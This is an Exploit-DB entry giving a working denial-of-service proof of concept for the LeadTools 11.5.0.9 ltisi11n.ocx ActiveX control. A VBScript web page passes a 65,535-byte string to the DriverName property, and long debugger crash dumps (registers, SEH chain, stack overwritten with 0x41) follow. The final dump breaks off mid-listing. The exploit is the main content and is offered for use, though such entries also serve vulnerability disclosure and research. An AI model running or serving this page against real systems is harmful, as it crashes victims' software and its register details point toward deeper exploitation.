Exploit-DB #15432
Description: LeadTools 11.5.0.9 - 'ltisi11n.ocx' DriverName() Access Violation Denial of Service
Type: dos
Platform: windows
Date: 2010-11-05
Author: Matthew Bergin

Exploit:
<html>
Test Exploit Page
<object classid='clsid:00110050-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' /></object>
<script language='vbscript'>

targetFile = "C:\Program Files\Rational\common\ltisi11n.ocx"
prototype  = "Property Let DriverName As String"
memberName = "DriverName"
progid     = "LEADISISLib.LEADISIS"
argCount   = 1

arg1=String(65535, "A")

target.DriverName = arg1

</script>


Exception Code: ACCESS_VIOLATION
Disasm: 7C80BEB9	MOV [EDX],AL

Seh Chain:
--------------------------------------------------
1 	7C839AD8 	KERNEL32.dll
2 	73352960 	VBSCRIPT.dll
3 	7C839AD8 	KERNEL32.dll


Called From                   Returns To                    
--------------------------------------------------
KERNEL32.7C80BEB9             ltisi11n.AA1537               
ltisi11n.AA1537               OLEAUT32.77135CD9             
OLEAUT32.77135CD9             OLEAUT32.771362E8             
OLEAUT32.771362E8             ltisi11n.AA64D7               
ltisi11n.AA64D7               ltisi11n.AA319B               
ltisi11n.AA319B               VBSCRIPT.73303EB7             
VBSCRIPT.73303EB7             VBSCRIPT.73303E27             
VBSCRIPT.73303E27             VBSCRIPT.73303397             
VBSCRIPT.73303397             VBSCRIPT.73303D88             
VBSCRIPT.73303D88             VBSCRIPT.73311302             
VBSCRIPT.73311302             VBSCRIPT.733063EE             
VBSCRIPT.733063EE             VBSCRIPT.73306373             
VBSCRIPT.73306373             VBSCRIPT.73306BA5             
VBSCRIPT.73306BA5             VBSCRIPT.73306D9D             
VBSCRIPT.73306D9D             VBSCRIPT.73305103             
VBSCRIPT.73305103             SCROBJ.5CE44396               
SCROBJ.5CE44396               SCROBJ.5CE4480B               
SCROBJ.5CE4480B               SCROBJ.5CE446A6               
SCROBJ.5CE446A6               SCROBJ.5CE44643               
SCROBJ.5CE44643               SCROBJ.5CE44608               
SCROBJ.5CE44608               1013C93                       
1013C93                       1006B0C                       
1006B0C                       100332C                       
100332C                       1003105                       
1003105                       1003076                       
1003076                       1002F16                       
1002F16                       KERNEL32.7C817077             


Registers:
--------------------------------------------------
EIP 7C80BEB9 -> AD0013ED
EAX 0013BD41 -> AD0013ED
EBX 00AAA760 -> 00AA408F
ECX 0013CDA4 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EDX 02A73000
EDI 0000302A
ESI 02A71F58 -> 00AAA760
EBP 0013BD6C -> 0013EDB0
ESP 0013BD48 -> 0000302A -> Uni: *0*0


Block Disassembly: 
--------------------------------------------------
7C80BEA3	PUSH 7C80BED0
7C80BEA8	CALL 7C8024D6
7C80BEAD	AND DWORD PTR [EBP-4],0
7C80BEB1	MOV ECX,[EBP+C]
7C80BEB4	MOV EDX,[EBP+8]
7C80BEB7	MOV AL,[ECX]
7C80BEB9	MOV [EDX],AL	  <--- CRASH
7C80BEBB	INC ECX
7C80BEBC	INC EDX
7C80BEBD	TEST AL,AL
7C80BEBF	JNZ SHORT 7C80BEB7
7C80BEC1	OR DWORD PTR [EBP-4],FFFFFFFF
7C80BEC5	MOV EAX,[EBP+8]
7C80BEC8	CALL 7C802511
7C80BECD	RETN 8


ArgDump:
--------------------------------------------------
EBP+8	02A71FD8 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP+12	0013BD7C -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP+16	41414141
EBP+20	41414141
EBP+24	41414141
EBP+28	41414141


Stack Dump:
--------------------------------------------------
13BD48 2A 30 00 00 58 1F A7 02 60 A7 AA 00 48 BD 13 00  [....X...`...H...]
13BD58 7C BD 13 00 AC F1 13 00 D8 9A 83 7C D0 BE 80 7C  [................]
13BD68 00 00 00 00 B0 ED 13 00 37 15 AA 00 D8 1F A7 02  [................]
13BD78 7C BD 13 00 41 41 41 41 41 41 41 41 41 41 41 41  [................]
13BD88 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]



Exception Code: ACCESS_VIOLATION
Disasm: 7C919084	MOV ECX,[EBX]

Seh Chain:
--------------------------------------------------
1 	7C90E920 	ntdll.dll
2 	7C90E920 	ntdll.dll
3 	7C90E920 	ntdll.dll
4 	7C90E920 	ntdll.dll
5 	73352960 	VBSCRIPT.dll
6 	7C839AD8 	KERNEL32.dll


Called From                   Returns To                    
--------------------------------------------------
ntdll.7C919084                ntdll.7C96EEA0                
ntdll.7C96EEA0                ntdll.7C94B394                
ntdll.7C94B394                ntdll.7C918F21                
ntdll.7C918F21                ltisi11n.AA69BC               
ltisi11n.AA69BC               ltisi11n.AA7189               
ltisi11n.AA7189               ltisi11n.AA154C               
ltisi11n.AA154C               OLEAUT32.77135CD9             
OLEAUT32.77135CD9             OLEAUT32.771362E8             
OLEAUT32.771362E8             ltisi11n.AA64D7               
ltisi11n.AA64D7               ltisi11n.AA319B               
ltisi11n.AA319B               VBSCRIPT.73303EB7             
VBSCRIPT.73303EB7             VBSCRIPT.73303E27             
VBSCRIPT.73303E27             VBSCRIPT.73303397             
VBSCRIPT.73303397             VBSCRIPT.73303D88             
VBSCRIPT.73303D88             VBSCRIPT.73311302             
VBSCRIPT.73311302             VBSCRIPT.733063EE             
VBSCRIPT.733063EE             VBSCRIPT.73306373             
VBSCRIPT.73306373             VBSCRIPT.73306BA5             
VBSCRIPT.73306BA5             VBSCRIPT.73306D9D             
VBSCRIPT.73306D9D             VBSCRIPT.73305103             
VBSCRIPT.73305103             SCROBJ.5CE44396               
SCROBJ.5CE44396               SCROBJ.5CE4480B               
SCROBJ.5CE4480B               SCROBJ.5CE446A6               
SCROBJ.5CE446A6               SCROBJ.5CE44643               
SCROBJ.5CE44643               SCROBJ.5CE44608               
SCROBJ.5CE44608               1013C93                       
1013C93                       1006